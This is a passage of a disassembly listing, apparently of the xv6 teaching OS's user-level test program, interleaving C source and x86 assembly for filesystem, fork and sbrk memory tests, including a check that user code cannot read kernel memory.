2da9: 68 39 56 00 00 push $0x5639 2dae: e8 80 11 00 00 call 3f33 <mkdir> 2db3: 83 c4 10 add $0x10,%esp 2db6: 85 c0 test %eax,%eax 2db8: 75 17 jne 2dd1 <dirfile+0x118> printf(1, "mkdir dirfile/xx succeeded!\n"); 2dba: 83 ec 08 sub $0x8,%esp 2dbd: 68 62 56 00 00 push $0x5662 2dc2: 6a 01 push $0x1 2dc4: e8 75 12 00 00 call 403e <printf> 2dc9: 83 c4 10 add $0x10,%esp exit(); 2dcc: e8 fa 10 00 00 call 3ecb <exit> } if(unlink("dirfile/xx") == 0){ 2dd1: 83 ec 0c sub $0xc,%esp 2dd4: 68 39 56 00 00 push $0x5639 2dd9: e8 3d 11 00 00 call 3f1b <unlink> 2dde: 83 c4 10 add $0x10,%esp 2de1: 85 c0 test %eax,%eax 2de3: 75 17 jne 2dfc <dirfile+0x143> printf(1, "unlink dirfile/xx succeeded!\n"); 2de5: 83 ec 08 sub $0x8,%esp 2de8: 68 7f 56 00 00 push $0x567f 2ded: 6a 01 push $0x1 2def: e8 4a 12 00 00 call 403e <printf> 2df4: 83 c4 10 add $0x10,%esp exit(); 2df7: e8 cf 10 00 00 call 3ecb <exit> } if(link("README", "dirfile/xx") == 0){ 2dfc: 83 ec 08 sub $0x8,%esp 2dff: 68 39 56 00 00 push $0x5639 2e04: 68 9d 56 00 00 push $0x569d 2e09: e8 1d 11 00 00 call 3f2b <link> 2e0e: 83 c4 10 add $0x10,%esp 2e11: 85 c0 test %eax,%eax 2e13: 75 17 jne 2e2c <dirfile+0x173> printf(1, "link to dirfile/xx succeeded!\n"); 2e15: 83 ec 08 sub $0x8,%esp 2e18: 68 a4 56 00 00 push $0x56a4 2e1d: 6a 01 push $0x1 2e1f: e8 1a 12 00 00 call 403e <printf> 2e24: 83 c4 10 add $0x10,%esp exit(); 2e27: e8 9f 10 00 00 call 3ecb <exit> } if(unlink("dirfile") != 0){ 2e2c: 83 ec 0c sub $0xc,%esp 2e2f: 68 00 56 00 00 push $0x5600 2e34: e8 e2 10 00 00 call 3f1b <unlink> 2e39: 83 c4 10 add $0x10,%esp 2e3c: 85 c0 test %eax,%eax 2e3e: 74 17 je 2e57 <dirfile+0x19e> printf(1, "unlink dirfile failed!\n"); 2e40: 83 ec 08 sub $0x8,%esp 2e43: 68 c3 56 00 00 push $0x56c3 2e48: 6a 01 push $0x1 2e4a: e8 ef 11 00 00 call 403e <printf> 2e4f: 83 c4 10 add $0x10,%esp exit(); 2e52: e8 74 10 00 00 call 3ecb <exit> } fd = open(".", O_RDWR); 2e57: 83 ec 08 sub $0x8,%esp 2e5a: 6a 02 push $0x2 2e5c: 68 7f 4c 00 00 push $0x4c7f 2e61: e8 a5 10 00 00 call 3f0b <open> 2e66: 83 c4 10 add $0x10,%esp 2e69: 89 45 f4 mov %eax,-0xc(%ebp) if(fd >= 0){ 2e6c: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 2e70: 78 17 js 2e89 <dirfile+0x1d0> printf(1, "open . for writing succeeded!\n"); 2e72: 83 ec 08 sub $0x8,%esp 2e75: 68 dc 56 00 00 push $0x56dc 2e7a: 6a 01 push $0x1 2e7c: e8 bd 11 00 00 call 403e <printf> 2e81: 83 c4 10 add $0x10,%esp exit(); 2e84: e8 42 10 00 00 call 3ecb <exit> } fd = open(".", 0); 2e89: 83 ec 08 sub $0x8,%esp 2e8c: 6a 00 push $0x0 2e8e: 68 7f 4c 00 00 push $0x4c7f 2e93: e8 73 10 00 00 call 3f0b <open> 2e98: 83 c4 10 add $0x10,%esp 2e9b: 89 45 f4 mov %eax,-0xc(%ebp) if(write(fd, "x", 1) > 0){ 2e9e: 83 ec 04 sub $0x4,%esp 2ea1: 6a 01 push $0x1 2ea3: 68 cb 48 00 00 push $0x48cb 2ea8: ff 75 f4 pushl -0xc(%ebp) 2eab: e8 3b 10 00 00 call 3eeb <write> 2eb0: 83 c4 10 add $0x10,%esp 2eb3: 85 c0 test %eax,%eax 2eb5: 7e 17 jle 2ece <dirfile+0x215> printf(1, "write . succeeded!\n"); 2eb7: 83 ec 08 sub $0x8,%esp 2eba: 68 fb 56 00 00 push $0x56fb 2ebf: 6a 01 push $0x1 2ec1: e8 78 11 00 00 call 403e <printf> 2ec6: 83 c4 10 add $0x10,%esp exit(); 2ec9: e8 fd 0f 00 00 call 3ecb <exit> } close(fd); 2ece: 83 ec 0c sub $0xc,%esp 2ed1: ff 75 f4 pushl -0xc(%ebp) 2ed4: e8 1a 10 00 00 call 3ef3 <close> 2ed9: 83 c4 10 add $0x10,%esp printf(1, "dir vs file OK\n"); 2edc: 83 ec 08 sub $0x8,%esp 2edf: 68 0f 57 00 00 push $0x570f 2ee4: 6a 01 push $0x1 2ee6: e8 53 11 00 00 call 403e <printf> 2eeb: 83 c4 10 add $0x10,%esp } 2eee: 90 nop 2eef: c9 leave 2ef0: c3 ret 00002ef1 <iref>: // test that iput() is called at the end of _namei() void iref(void) { 2ef1: 55 push %ebp 2ef2: 89 e5 mov %esp,%ebp 2ef4: 83 ec 18 sub $0x18,%esp int i, fd; printf(1, "empty file name\n"); 2ef7: 83 ec 08 sub $0x8,%esp 2efa: 68 1f 57 00 00 push $0x571f 2eff: 6a 01 push $0x1 2f01: e8 38 11 00 00 call 403e <printf> 2f06: 83 c4 10 add $0x10,%esp // the 50 is NINODE for(i = 0; i < 50 + 1; i++){ 2f09: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 2f10: e9 e7 00 00 00 jmp 2ffc <iref+0x10b> if(mkdir("irefd") != 0){ 2f15: 83 ec 0c sub $0xc,%esp 2f18: 68 30 57 00 00 push $0x5730 2f1d: e8 11 10 00 00 call 3f33 <mkdir> 2f22: 83 c4 10 add $0x10,%esp 2f25: 85 c0 test %eax,%eax 2f27: 74 17 je 2f40 <iref+0x4f> printf(1, "mkdir irefd failed\n"); 2f29: 83 ec 08 sub $0x8,%esp 2f2c: 68 36 57 00 00 push $0x5736 2f31: 6a 01 push $0x1 2f33: e8 06 11 00 00 call 403e <printf> 2f38: 83 c4 10 add $0x10,%esp exit(); 2f3b: e8 8b 0f 00 00 call 3ecb <exit> } if(chdir("irefd") != 0){ 2f40: 83 ec 0c sub $0xc,%esp 2f43: 68 30 57 00 00 push $0x5730 2f48: e8 ee 0f 00 00 call 3f3b <chdir> 2f4d: 83 c4 10 add $0x10,%esp 2f50: 85 c0 test %eax,%eax 2f52: 74 17 je 2f6b <iref+0x7a> printf(1, "chdir irefd failed\n"); 2f54: 83 ec 08 sub $0x8,%esp 2f57: 68 4a 57 00 00 push $0x574a 2f5c: 6a 01 push $0x1 2f5e: e8 db 10 00 00 call 403e <printf> 2f63: 83 c4 10 add $0x10,%esp exit(); 2f66: e8 60 0f 00 00 call 3ecb <exit> } mkdir(""); 2f6b: 83 ec 0c sub $0xc,%esp 2f6e: 68 5e 57 00 00 push $0x575e 2f73: e8 bb 0f 00 00 call 3f33 <mkdir> 2f78: 83 c4 10 add $0x10,%esp link("README", ""); 2f7b: 83 ec 08 sub $0x8,%esp 2f7e: 68 5e 57 00 00 push $0x575e 2f83: 68 9d 56 00 00 push $0x569d 2f88: e8 9e 0f 00 00 call 3f2b <link> 2f8d: 83 c4 10 add $0x10,%esp fd = open("", O_CREATE); 2f90: 83 ec 08 sub $0x8,%esp 2f93: 68 00 02 00 00 push $0x200 2f98: 68 5e 57 00 00 push $0x575e 2f9d: e8 69 0f 00 00 call 3f0b <open> 2fa2: 83 c4 10 add $0x10,%esp 2fa5: 89 45 f0 mov %eax,-0x10(%ebp) if(fd >= 0) 2fa8: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 2fac: 78 0e js 2fbc <iref+0xcb> close(fd); 2fae: 83 ec 0c sub $0xc,%esp 2fb1: ff 75 f0 pushl -0x10(%ebp) 2fb4: e8 3a 0f 00 00 call 3ef3 <close> 2fb9: 83 c4 10 add $0x10,%esp fd = open("xx", O_CREATE); 2fbc: 83 ec 08 sub $0x8,%esp 2fbf: 68 00 02 00 00 push $0x200 2fc4: 68 5f 57 00 00 push $0x575f 2fc9: e8 3d 0f 00 00 call 3f0b <open> 2fce: 83 c4 10 add $0x10,%esp 2fd1: 89 45 f0 mov %eax,-0x10(%ebp) if(fd >= 0) 2fd4: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 2fd8: 78 0e js 2fe8 <iref+0xf7> close(fd); 2fda: 83 ec 0c sub $0xc,%esp 2fdd: ff 75 f0 pushl -0x10(%ebp) 2fe0: e8 0e 0f 00 00 call 3ef3 <close> 2fe5: 83 c4 10 add $0x10,%esp unlink("xx"); 2fe8: 83 ec 0c sub $0xc,%esp 2feb: 68 5f 57 00 00 push $0x575f 2ff0: e8 26 0f 00 00 call 3f1b <unlink> 2ff5: 83 c4 10 add $0x10,%esp for(i = 0; i < 50 + 1; i++){ 2ff8: 83 45 f4 01 addl $0x1,-0xc(%ebp) 2ffc: 83 7d f4 32 cmpl $0x32,-0xc(%ebp) 3000: 0f 8e 0f ff ff ff jle 2f15 <iref+0x24> } chdir("/"); 3006: 83 ec 0c sub $0xc,%esp 3009: 68 66 44 00 00 push $0x4466 300e: e8 28 0f 00 00 call 3f3b <chdir> 3013: 83 c4 10 add $0x10,%esp printf(1, "empty file name OK\n"); 3016: 83 ec 08 sub $0x8,%esp 3019: 68 62 57 00 00 push $0x5762 301e: 6a 01 push $0x1 3020: e8 19 10 00 00 call 403e <printf> 3025: 83 c4 10 add $0x10,%esp } 3028: 90 nop 3029: c9 leave 302a: c3 ret 0000302b <forktest>: // test that fork fails gracefully // the forktest binary also does this, but it runs out of proc entries first. // inside the bigger usertests binary, we run out of memory first. void forktest(void) { 302b: 55 push %ebp 302c: 89 e5 mov %esp,%ebp 302e: 83 ec 18 sub $0x18,%esp int n, pid; printf(1, "fork test\n"); 3031: 83 ec 08 sub $0x8,%esp 3034: 68 76 57 00 00 push $0x5776 3039: 6a 01 push $0x1 303b: e8 fe 0f 00 00 call 403e <printf> 3040: 83 c4 10 add $0x10,%esp for(n=0; n<1000; n++){ 3043: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 304a: eb 1d jmp 3069 <forktest+0x3e> pid = fork(); 304c: e8 72 0e 00 00 call 3ec3 <fork> 3051: 89 45 f0 mov %eax,-0x10(%ebp) if(pid < 0) 3054: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 3058: 78 1a js 3074 <forktest+0x49> break; if(pid == 0) 305a: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 305e: 75 05 jne 3065 <forktest+0x3a> exit(); 3060: e8 66 0e 00 00 call 3ecb <exit> for(n=0; n<1000; n++){ 3065: 83 45 f4 01 addl $0x1,-0xc(%ebp) 3069: 81 7d f4 e7 03 00 00 cmpl $0x3e7,-0xc(%ebp) 3070: 7e da jle 304c <forktest+0x21> 3072: eb 01 jmp 3075 <forktest+0x4a> break; 3074: 90 nop } if(n == 1000){ 3075: 81 7d f4 e8 03 00 00 cmpl $0x3e8,-0xc(%ebp) 307c: 75 3b jne 30b9 <forktest+0x8e> printf(1, "fork claimed to work 1000 times!\n"); 307e: 83 ec 08 sub $0x8,%esp 3081: 68 84 57 00 00 push $0x5784 3086: 6a 01 push $0x1 3088: e8 b1 0f 00 00 call 403e <printf> 308d: 83 c4 10 add $0x10,%esp exit(); 3090: e8 36 0e 00 00 call 3ecb <exit> } for(; n > 0; n--){ if(wait() < 0){ 3095: e8 39 0e 00 00 call 3ed3 <wait> 309a: 85 c0 test %eax,%eax 309c: 79 17 jns 30b5 <forktest+0x8a> printf(1, "wait stopped early\n"); 309e: 83 ec 08 sub $0x8,%esp 30a1: 68 a6 57 00 00 push $0x57a6 30a6: 6a 01 push $0x1 30a8: e8 91 0f 00 00 call 403e <printf> 30ad: 83 c4 10 add $0x10,%esp exit(); 30b0: e8 16 0e 00 00 call 3ecb <exit> for(; n > 0; n--){ 30b5: 83 6d f4 01 subl $0x1,-0xc(%ebp) 30b9: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 30bd: 7f d6 jg 3095 <forktest+0x6a> } } if(wait() != -1){ 30bf: e8 0f 0e 00 00 call 3ed3 <wait> 30c4: 83 f8 ff cmp $0xffffffff,%eax 30c7: 74 17 je 30e0 <forktest+0xb5> printf(1, "wait got too many\n"); 30c9: 83 ec 08 sub $0x8,%esp 30cc: 68 ba 57 00 00 push $0x57ba 30d1: 6a 01 push $0x1 30d3: e8 66 0f 00 00 call 403e <printf> 30d8: 83 c4 10 add $0x10,%esp exit(); 30db: e8 eb 0d 00 00 call 3ecb <exit> } printf(1, "fork test OK\n"); 30e0: 83 ec 08 sub $0x8,%esp 30e3: 68 cd 57 00 00 push $0x57cd 30e8: 6a 01 push $0x1 30ea: e8 4f 0f 00 00 call 403e <printf> 30ef: 83 c4 10 add $0x10,%esp } 30f2: 90 nop 30f3: c9 leave 30f4: c3 ret 000030f5 <sbrktest>: void sbrktest(void) { 30f5: 55 push %ebp 30f6: 89 e5 mov %esp,%ebp 30f8: 83 ec 68 sub $0x68,%esp int fds[2], pid, pids[10], ppid; char *a, *b, *c, *lastaddr, *oldbrk, *p, scratch; uint amt; printf(stdout, "sbrk test\n"); 30fb: a1 a8 62 00 00 mov 0x62a8,%eax 3100: 83 ec 08 sub $0x8,%esp 3103: 68 db 57 00 00 push $0x57db 3108: 50 push %eax 3109: e8 30 0f 00 00 call 403e <printf> 310e: 83 c4 10 add $0x10,%esp oldbrk = sbrk(0); 3111: 83 ec 0c sub $0xc,%esp 3114: 6a 00 push $0x0 3116: e8 38 0e 00 00 call 3f53 <sbrk> 311b: 83 c4 10 add $0x10,%esp 311e: 89 45 ec mov %eax,-0x14(%ebp) // can one sbrk() less than a page? a = sbrk(0); 3121: 83 ec 0c sub $0xc,%esp 3124: 6a 00 push $0x0 3126: e8 28 0e 00 00 call 3f53 <sbrk> 312b: 83 c4 10 add $0x10,%esp 312e: 89 45 f4 mov %eax,-0xc(%ebp) int i; for(i = 0; i < 5000; i++){ 3131: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) 3138: eb 4f jmp 3189 <sbrktest+0x94> b = sbrk(1); 313a: 83 ec 0c sub $0xc,%esp 313d: 6a 01 push $0x1 313f: e8 0f 0e 00 00 call 3f53 <sbrk> 3144: 83 c4 10 add $0x10,%esp 3147: 89 45 e8 mov %eax,-0x18(%ebp) if(b != a){ 314a: 8b 45 e8 mov -0x18(%ebp),%eax 314d: 3b 45 f4 cmp -0xc(%ebp),%eax 3150: 74 24 je 3176 <sbrktest+0x81> printf(stdout, "sbrk test failed %d %x %x\n", i, a, b); 3152: a1 a8 62 00 00 mov 0x62a8,%eax 3157: 83 ec 0c sub $0xc,%esp 315a: ff 75 e8 pushl -0x18(%ebp) 315d: ff 75 f4 pushl -0xc(%ebp) 3160: ff 75 f0 pushl -0x10(%ebp) 3163: 68 e6 57 00 00 push $0x57e6 3168: 50 push %eax 3169: e8 d0 0e 00 00 call 403e <printf> 316e: 83 c4 20 add $0x20,%esp exit(); 3171: e8 55 0d 00 00 call 3ecb <exit> } *b = 1; 3176: 8b 45 e8 mov -0x18(%ebp),%eax 3179: c6 00 01 movb $0x1,(%eax) a = b + 1; 317c: 8b 45 e8 mov -0x18(%ebp),%eax 317f: 83 c0 01 add $0x1,%eax 3182: 89 45 f4 mov %eax,-0xc(%ebp) for(i = 0; i < 5000; i++){ 3185: 83 45 f0 01 addl $0x1,-0x10(%ebp) 3189: 81 7d f0 87 13 00 00 cmpl $0x1387,-0x10(%ebp) 3190: 7e a8 jle 313a <sbrktest+0x45> } pid = fork(); 3192: e8 2c 0d 00 00 call 3ec3 <fork> 3197: 89 45 e4 mov %eax,-0x1c(%ebp) if(pid < 0){ 319a: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp) 319e: 79 1b jns 31bb <sbrktest+0xc6> printf(stdout, "sbrk test fork failed\n"); 31a0: a1 a8 62 00 00 mov 0x62a8,%eax 31a5: 83 ec 08 sub $0x8,%esp 31a8: 68 01 58 00 00 push $0x5801 31ad: 50 push %eax 31ae: e8 8b 0e 00 00 call 403e <printf> 31b3: 83 c4 10 add $0x10,%esp exit(); 31b6: e8 10 0d 00 00 call 3ecb <exit> } c = sbrk(1); 31bb: 83 ec 0c sub $0xc,%esp 31be: 6a 01 push $0x1 31c0: e8 8e 0d 00 00 call 3f53 <sbrk> 31c5: 83 c4 10 add $0x10,%esp 31c8: 89 45 e0 mov %eax,-0x20(%ebp) c = sbrk(1); 31cb: 83 ec 0c sub $0xc,%esp 31ce: 6a 01 push $0x1 31d0: e8 7e 0d 00 00 call 3f53 <sbrk> 31d5: 83 c4 10 add $0x10,%esp 31d8: 89 45 e0 mov %eax,-0x20(%ebp) if(c != a + 1){ 31db: 8b 45 f4 mov -0xc(%ebp),%eax 31de: 83 c0 01 add $0x1,%eax 31e1: 39 45 e0 cmp %eax,-0x20(%ebp) 31e4: 74 1b je 3201 <sbrktest+0x10c> printf(stdout, "sbrk test failed post-fork\n"); 31e6: a1 a8 62 00 00 mov 0x62a8,%eax 31eb: 83 ec 08 sub $0x8,%esp 31ee: 68 18 58 00 00 push $0x5818 31f3: 50 push %eax 31f4: e8 45 0e 00 00 call 403e <printf> 31f9: 83 c4 10 add $0x10,%esp exit(); 31fc: e8 ca 0c 00 00 call 3ecb <exit> } if(pid == 0) 3201: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp) 3205: 75 05 jne 320c <sbrktest+0x117> exit(); 3207: e8 bf 0c 00 00 call 3ecb <exit> wait(); 320c: e8 c2 0c 00 00 call 3ed3 <wait> // can one grow address space to something big? #define BIG (100*1024*1024) a = sbrk(0); 3211: 83 ec 0c sub $0xc,%esp 3214: 6a 00 push $0x0 3216: e8 38 0d 00 00 call 3f53 <sbrk> 321b: 83 c4 10 add $0x10,%esp 321e: 89 45 f4 mov %eax,-0xc(%ebp) amt = (BIG) - (uint)a; 3221: 8b 45 f4 mov -0xc(%ebp),%eax 3224: ba 00 00 40 06 mov $0x6400000,%edx 3229: 29 c2 sub %eax,%edx 322b: 89 d0 mov %edx,%eax 322d: 89 45 dc mov %eax,-0x24(%ebp) p = sbrk(amt); 3230: 8b 45 dc mov -0x24(%ebp),%eax 3233: 83 ec 0c sub $0xc,%esp 3236: 50 push %eax 3237: e8 17 0d 00 00 call 3f53 <sbrk> 323c: 83 c4 10 add $0x10,%esp 323f: 89 45 d8 mov %eax,-0x28(%ebp) if (p != a) { 3242: 8b 45 d8 mov -0x28(%ebp),%eax 3245: 3b 45 f4 cmp -0xc(%ebp),%eax 3248: 74 1b je 3265 <sbrktest+0x170> printf(stdout, "sbrk test failed to grow big address space; enough phys mem?\n"); 324a: a1 a8 62 00 00 mov 0x62a8,%eax 324f: 83 ec 08 sub $0x8,%esp 3252: 68 34 58 00 00 push $0x5834 3257: 50 push %eax 3258: e8 e1 0d 00 00 call 403e <printf> 325d: 83 c4 10 add $0x10,%esp exit(); 3260: e8 66 0c 00 00 call 3ecb <exit> } lastaddr = (char*) (BIG-1); 3265: c7 45 d4 ff ff 3f 06 movl $0x63fffff,-0x2c(%ebp) *lastaddr = 99; 326c: 8b 45 d4 mov -0x2c(%ebp),%eax 326f: c6 00 63 movb $0x63,(%eax) // can one de-allocate? a = sbrk(0); 3272: 83 ec 0c sub $0xc,%esp 3275: 6a 00 push $0x0 3277: e8 d7 0c 00 00 call 3f53 <sbrk> 327c: 83 c4 10 add $0x10,%esp 327f: 89 45 f4 mov %eax,-0xc(%ebp) c = sbrk(-4096); 3282: 83 ec 0c sub $0xc,%esp 3285: 68 00 f0 ff ff push $0xfffff000 328a: e8 c4 0c 00 00 call 3f53 <sbrk> 328f: 83 c4 10 add $0x10,%esp 3292: 89 45 e0 mov %eax,-0x20(%ebp) if(c == (char*)0xffffffff){ 3295: 83 7d e0 ff cmpl $0xffffffff,-0x20(%ebp) 3299: 75 1b jne 32b6 <sbrktest+0x1c1> printf(stdout, "sbrk could not deallocate\n"); 329b: a1 a8 62 00 00 mov 0x62a8,%eax 32a0: 83 ec 08 sub $0x8,%esp 32a3: 68 72 58 00 00 push $0x5872 32a8: 50 push %eax 32a9: e8 90 0d 00 00 call 403e <printf> 32ae: 83 c4 10 add $0x10,%esp exit(); 32b1: e8 15 0c 00 00 call 3ecb <exit> } c = sbrk(0); 32b6: 83 ec 0c sub $0xc,%esp 32b9: 6a 00 push $0x0 32bb: e8 93 0c 00 00 call 3f53 <sbrk> 32c0: 83 c4 10 add $0x10,%esp 32c3: 89 45 e0 mov %eax,-0x20(%ebp) if(c != a - 4096){ 32c6: 8b 45 f4 mov -0xc(%ebp),%eax 32c9: 2d 00 10 00 00 sub $0x1000,%eax 32ce: 39 45 e0 cmp %eax,-0x20(%ebp) 32d1: 74 1e je 32f1 <sbrktest+0x1fc> printf(stdout, "sbrk deallocation produced wrong address, a %x c %x\n", a, c); 32d3: a1 a8 62 00 00 mov 0x62a8,%eax 32d8: ff 75 e0 pushl -0x20(%ebp) 32db: ff 75 f4 pushl -0xc(%ebp) 32de: 68 90 58 00 00 push $0x5890 32e3: 50 push %eax 32e4: e8 55 0d 00 00 call 403e <printf> 32e9: 83 c4 10 add $0x10,%esp exit(); 32ec: e8 da 0b 00 00 call 3ecb <exit> } // can one re-allocate that page? a = sbrk(0); 32f1: 83 ec 0c sub $0xc,%esp 32f4: 6a 00 push $0x0 32f6: e8 58 0c 00 00 call 3f53 <sbrk> 32fb: 83 c4 10 add $0x10,%esp 32fe: 89 45 f4 mov %eax,-0xc(%ebp) c = sbrk(4096); 3301: 83 ec 0c sub $0xc,%esp 3304: 68 00 10 00 00 push $0x1000 3309: e8 45 0c 00 00 call 3f53 <sbrk> 330e: 83 c4 10 add $0x10,%esp 3311: 89 45 e0 mov %eax,-0x20(%ebp) if(c != a || sbrk(0) != a + 4096){ 3314: 8b 45 e0 mov -0x20(%ebp),%eax 3317: 3b 45 f4 cmp -0xc(%ebp),%eax 331a: 75 1b jne 3337 <sbrktest+0x242> 331c: 83 ec 0c sub $0xc,%esp 331f: 6a 00 push $0x0 3321: e8 2d 0c 00 00 call 3f53 <sbrk> 3326: 83 c4 10 add $0x10,%esp 3329: 89 c2 mov %eax,%edx 332b: 8b 45 f4 mov -0xc(%ebp),%eax 332e: 05 00 10 00 00 add $0x1000,%eax 3333: 39 c2 cmp %eax,%edx 3335: 74 1e je 3355 <sbrktest+0x260> printf(stdout, "sbrk re-allocation failed, a %x c %x\n", a, c); 3337: a1 a8 62 00 00 mov 0x62a8,%eax 333c: ff 75 e0 pushl -0x20(%ebp) 333f: ff 75 f4 pushl -0xc(%ebp) 3342: 68 c8 58 00 00 push $0x58c8 3347: 50 push %eax 3348: e8 f1 0c 00 00 call 403e <printf> 334d: 83 c4 10 add $0x10,%esp exit(); 3350: e8 76 0b 00 00 call 3ecb <exit> } if(*lastaddr == 99){ 3355: 8b 45 d4 mov -0x2c(%ebp),%eax 3358: 0f b6 00 movzbl (%eax),%eax 335b: 3c 63 cmp $0x63,%al 335d: 75 1b jne 337a <sbrktest+0x285> // should be zero printf(stdout, "sbrk de-allocation didn't really deallocate\n"); 335f: a1 a8 62 00 00 mov 0x62a8,%eax 3364: 83 ec 08 sub $0x8,%esp 3367: 68 f0 58 00 00 push $0x58f0 336c: 50 push %eax 336d: e8 cc 0c 00 00 call 403e <printf> 3372: 83 c4 10 add $0x10,%esp exit(); 3375: e8 51 0b 00 00 call 3ecb <exit> } a = sbrk(0); 337a: 83 ec 0c sub $0xc,%esp 337d: 6a 00 push $0x0 337f: e8 cf 0b 00 00 call 3f53 <sbrk> 3384: 83 c4 10 add $0x10,%esp 3387: 89 45 f4 mov %eax,-0xc(%ebp) c = sbrk(-(sbrk(0) - oldbrk)); 338a: 83 ec 0c sub $0xc,%esp 338d: 6a 00 push $0x0 338f: e8 bf 0b 00 00 call 3f53 <sbrk> 3394: 83 c4 10 add $0x10,%esp 3397: 89 c2 mov %eax,%edx 3399: 8b 45 ec mov -0x14(%ebp),%eax 339c: 29 d0 sub %edx,%eax 339e: 83 ec 0c sub $0xc,%esp 33a1: 50 push %eax 33a2: e8 ac 0b 00 00 call 3f53 <sbrk> 33a7: 83 c4 10 add $0x10,%esp 33aa: 89 45 e0 mov %eax,-0x20(%ebp) if(c != a){ 33ad: 8b 45 e0 mov -0x20(%ebp),%eax 33b0: 3b 45 f4 cmp -0xc(%ebp),%eax 33b3: 74 1e je 33d3 <sbrktest+0x2de> printf(stdout, "sbrk downsize failed, a %x c %x\n", a, c); 33b5: a1 a8 62 00 00 mov 0x62a8,%eax 33ba: ff 75 e0 pushl -0x20(%ebp) 33bd: ff 75 f4 pushl -0xc(%ebp) 33c0: 68 20 59 00 00 push $0x5920 33c5: 50 push %eax 33c6: e8 73 0c 00 00 call 403e <printf> 33cb: 83 c4 10 add $0x10,%esp exit(); 33ce: e8 f8 0a 00 00 call 3ecb <exit> } // can we read the kernel's memory? for(a = (char*)(KERNBASE); a < (char*) (KERNBASE+2000000); a += 50000){ 33d3: c7 45 f4 00 00 00 80 movl $0x80000000,-0xc(%ebp) 33da: eb 76 jmp 3452 <sbrktest+0x35d> ppid = getpid(); 33dc: e8 6a 0b 00 00 call 3f4b <getpid> 33e1: 89 45 d0 mov %eax,-0x30(%ebp) pid = fork(); 33e4: e8 da 0a 00 00 call 3ec3 <fork> 33e9: 89 45 e4 mov %eax,-0x1c(%ebp) if(pid < 0){ 33ec: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp) 33f0: 79 1b jns 340d <sbrktest+0x318> printf(stdout, "fork failed\n"); 33f2: a1 a8 62 00 00 mov 0x62a8,%eax 33f7: 83 ec 08 sub $0x8,%esp 33fa: 68 95 44 00 00 push $0x4495 33ff: 50 push %eax 3400: e8 39 0c 00 00 call 403e <printf> 3405: 83 c4 10 add $0x10,%esp exit(); 3408: e8 be 0a 00 00 call 3ecb <exit> } if(pid == 0){ 340d: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp) 3411: 75 33 jne 3446 <sbrktest+0x351> printf(stdout, "oops could read %x = %x\n", a, *a); 3413: 8b 45 f4 mov -0xc(%ebp),%eax 3416: 0f b6 00 movzbl (%eax),%eax 3419: 0f be d0 movsbl %al,%edx 341c: a1 a8 62 00 00 mov 0x62a8,%eax 3421: 52 push %edx 3422: ff 75 f4 pushl -0xc(%ebp) 3425: 68 41 59 00 00 push $0x5941 342a: 50 push %eax 342b: e8 0e 0c 00 00 call 403e <printf> 3430: 83 c4 10 add $0x10,%esp kill(ppid); 3433: 83 ec 0c sub $0xc,%esp 3436: ff 75 d0 pushl -0x30(%ebp) 3439: e8 bd 0a 00 00 call 3efb <kill> 343e: 83 c4 10 add $0x10,%esp exit(); 3441: e8 85 0a 00 00 call 3ecb <exit> } wait(); 3446: e8 88 0a 00 00 call 3ed3 <wait> for(a = (char*)(KERNBASE); a < (char*) (KERNBASE+2000000); a += 50000){ 344b: 81 45 f4 50 c3 00 00 addl $0xc350,-0xc(%ebp) 3452: 81 7d f4 7f 84 1e 80 cmpl $0x801e847f,-0xc(%ebp) 3459: 76 81 jbe 33dc <sbrktest+0x2e7> } // if we run the system out of memory, does it clean up the last // failed allocation? if(pipe(fds) != 0){ 345b: 83 ec 0c sub $0xc,%esp 345e: 8d 45 c8 lea -0x38(%ebp),%eax 3461: 50 push %eax 3462: e8 74 0a 00 00 call 3edb <pipe> 3467: 83 c4 10 add $0x10,%esp 346a: 85 c0 test %eax,%eax 346c: 74 17 je 3485 <sbrktest+0x390> printf(1, "pipe() failed\n"); 346e: 83 ec 08 sub $0x8,%esp 3471: 68 66 48 00 00 push $0x4866 3476: 6a 01 push $0x1 3478: e8 c1 0b 00 00 call 403e <printf> 347d: 83 c4 10 add $0x10,%esp exit(); 3480: e8 46 0a 00 00 call 3ecb <exit> } for(i = 0; i < sizeof(pids)/sizeof(pids[0]); i++){ 3485: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) 348c: e9 88 00 00 00 jmp 3519 <sbrktest+0x424> if((pids[i] = fork()) == 0){ 3491: e8 2d 0a 00 00 call 3ec3 <fork> 3496: 89 c2 mov %eax,%edx 3498: 8b 45 f0 mov -0x10(%ebp),%eax 349b: 89 54 85 a0 mov %edx,-0x60(%ebp,%eax,4) 349f: 8b 45 f0 mov -0x10(%ebp),%eax 34a2: 8b 44 85 a0 mov -0x60(%ebp,%eax,4),%eax 34a6: 85 c0 test %eax,%eax 34a8: 75 4a jne 34f4 <sbrktest+0x3ff> // allocate a lot of memory sbrk(BIG - (uint)sbrk(0)); 34aa: 83 ec 0c sub $0xc,%esp 34ad: 6a 00 push $0x0 34af: e8 9f 0a 00 00 call 3f53 <sbrk> 34b4: 83 c4 10 add $0x10,%esp 34b7: ba 00 00 40 06 mov $0x6400000,%edx 34bc: 29 c2 sub %eax,%edx 34be: 89 d0 mov %edx,%eax 34c0: 83 ec 0c sub $0xc,%esp 34c3: 50 push %eax 34c4: e8 8a 0a 00 00 call 3f53 <sbrk> 34c9: 83 c4 10 add $0x10,%esp write(fds[1], "x", 1); 34cc: 8b 45 cc mov -0x34(%ebp),%eax 34cf: 83 ec 04 sub $0x4,%esp 34d2: 6a 01 push $0x1 34d4: 68 cb 48 00 00 push $0x48cb 34d9: 50 push %eax 34da: e8 0c 0a 00 00 call 3eeb <write> 34df: 83 c4 10 add $0x10,%esp // sit around until killed for(;;) sleep(1000); 34e2: 83 ec 0c sub $0xc,%esp 34e5: 68 e8 03 00 00 push $0x3e8 34ea: e8 6c 0a 00 00 call 3f5b <sleep> 34ef: 83 c4 10 add $0x10,%esp 34f2: eb ee jmp 34e2 <sbrktest+0x3ed> } if(pids[i] != -1) 